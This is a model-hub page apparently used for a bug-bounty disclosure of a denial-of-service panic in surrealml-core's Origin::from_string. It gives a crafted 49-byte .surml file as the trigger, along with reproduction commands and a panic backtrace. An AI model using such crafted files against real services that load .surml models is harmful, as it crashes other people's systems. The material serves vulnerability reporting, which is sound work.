Downloads · 30 days
0
Abhnv7/huntr-poc-bug03-surrealml-origin-panic
huntr-poc-bug03-surrealml-origin-panic is a machine learning model from Abhnv7. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
- Program: surrealml (surrealml-core) - Repo: https://github.com/surrealdb/surrealml - Commit: 152ac2d508f1bae9ee62c46b7d211d80e40a6425 - Affected file: modules/core/src/storage/header/origin.rs - Affected function: O…
Downloads · 30 days
0
Access
Public
Updated Jun 8, 2026
Repo size
—
Likes
0
Public
Click a slice to open those files.
.md4.6 KB · 55%
From the Hugging Face model README
Origin::from_string double-unwrap panic152ac2d508f1bae9ee62c46b7d211d80e40a6425modules/core/src/storage/header/origin.rsOrigin::from_string()115 — let origin = split.next().unwrap().to_string();Origin::from_string() splits the origin header field on => and calls .unwrap() on the second iterator element without checking it exists. A .surml file whose header field 8 contains any string without => (e.g. "local") exhausts the iterator after the first element. The second .unwrap() at line 115 panics on None, aborting the process. A 49-byte crafted file reliably triggers this.
| File | Description |
|---|---|
poc_bug03.surml | 49-byte malicious .surml triggering the panic |
generate_poc_bug03.py | Python script that generates the PoC |
BUG03-actual-log.txt | Actual panic output + full stack backtrace |
BUG03-verdict.md | Full verdict with source analysis |
python3 generate_poc_bug03.py
# produces poc_bug03.surml (49 bytes)
use surrealml_core::storage::surml_file::SurMlFile;
let _ = SurMlFile::from_file("poc_bug03.surml");
Or via any binary/test that calls SurMlFile::from_file() / load_model() C FFI.
RUST_BACKTRACE=1 cargo run -- poc_bug03.surml
thread 'main' panicked at modules/core/src/storage/header/origin.rs:115:35:
called `Option::unwrap()` on a `None` value
stack backtrace:
0: rust_begin_unwind
1: core::panicking::panic_fmt
2: core::panicking::panic
3: core::option::unwrap_failed
4: core::option::Option<T>::unwrap
5: surrealml_core::storage::header::origin::Origin::from_string
at modules/core/src/storage/header/origin.rs:115:35
6: surrealml_core::storage::header::Header::from_bytes
at modules/core/src/storage/header/mod.rs:189:22
7: surrealml_core::storage::surml_file::SurMlFile::from_file
at modules/core/src/storage/surml_file.rs:124:22
EXIT: 101
Severity: Medium (DoS)
.surml.SurMlFile::from_file(), SurMlFile::from_bytes(), and the load_model() C FFI..surml files is crashed by this payload.152ac2d508f1bae9ee62c46b7d211d80e40a6425poc_bug03.surml
81abb15357b4865fdabaca52102392faad3fdff337f33e4ea698eb560d890ad1